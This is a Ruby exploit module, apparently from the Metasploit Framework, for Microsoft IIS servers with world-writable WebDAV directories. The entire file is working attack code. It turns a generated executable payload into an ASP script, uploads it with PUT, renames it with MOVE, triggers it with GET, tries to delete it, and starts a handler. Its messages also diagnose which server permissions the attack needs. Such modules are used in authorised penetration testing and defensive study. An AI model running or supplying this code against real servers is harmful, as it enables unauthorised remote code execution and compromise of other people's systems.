metasploit-framework/modules/exploits/windows/iis/iis_webdav_upload_asp.rb

164 lines
4.5 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize
super(
'Name' => 'Microsoft IIS WebDAV Write Access Code Execution',
'Description' => %q{
This module can be used to execute a payload on IIS servers that
have world-writeable directories. The payload is uploaded as an ASP
script via a WebDAV PUT request.
The target IIS machine must meet these conditions to be considered
as exploitable: It allows 'Script resource access', Read and Write
permission, and supports ASP.
},
'Author' => 'hdm',
'Platform' => 'win',
'References' =>
[
['OSVDB', '397'],
['BID', '12141']
],
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 1994'
)
register_options(
[
# The USERNAME and PASSWORD are registered again to make them more obvious they're
# configurable.
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp'])
], self.class)
end
def exploit
# Generate the ASP containing the EXE containing the payload
exe = generate_payload_exe
asp = Msf::Util::EXE.to_exe_asp(exe)
path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)
path_tmp = path.gsub(/\....$/, ".txt")
#
# UPLOAD
#
print_status("Uploading #{asp.length} bytes to #{path_tmp}...")
begin
res = send_request_cgi({
'uri' => path_tmp,
'method' => 'PUT',
'ctype' => 'application/octet-stream',
'data' => asp,
}, 20)
rescue Errno::ECONNRESET => e
print_error("#{e.message}. It's possible either you set the PATH option wrong, or IIS doesn't allow 'Write' permission.")
return
end
if (! res)
print_error("Connection timed out while uploading to #{path_tmp}")
return
end
if (res.code < 200 or res.code >= 300)
print_error("Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
return
end
#
# MOVE
#
print_status("Moving #{path_tmp} to #{path}...")
res = send_request_cgi({
'uri' => path_tmp,
'method' => 'MOVE',
'headers' => {'Destination' => path}
}, 20)
if (! res)
print_error("Connection timed out while moving to #{path}")
return
end
if (res.code < 200 or res.code >= 300)
print_error("Move failed on #{path_tmp} [#{res.code} #{res.message}]")
case res.code
when 403
print_error("IIS possibly does not allow 'Read' permission, which is required to upload executable content.")
end
return
end
#
# EXECUTE
#
print_status("Executing #{path}...")
res = send_request_cgi({
'uri' => path,
'method' => 'GET'
}, 20)
if (! res)
print_error("Execution failed on #{path} [No Response]")
return
end
if (res.code < 200 or res.code >= 300)
print_error("Execution failed on #{path} [#{res.code} #{res.message}]")
case res.message
when 'Object Not Found'
print_error("The MOVE verb failed to rename the file. Possibly IIS doesn't allow 'Script Resource Access'.")
end
return
end
#
# DELETE
#
print_status("Deleting #{path}, this doesn't always work...")
res = send_request_cgi({
'uri' => path,
'method' => 'DELETE'
}, 20)
if (! res)
print_error("Deletion failed on #{path} [No Response]")
return
end
if (res.code < 200 or res.code >= 300)
# Changed this to a warning, because red is scary and if this aprt fails,
# honestly it's not that bad. In most cases this is probably expected anyway
# because by default we're using IWAM_*, which doesn't give us a lot of
# freedom to begin with.
print_warning("Deletion failed on #{path} [#{res.code} #{res.message}]")
return
end
handler
end
end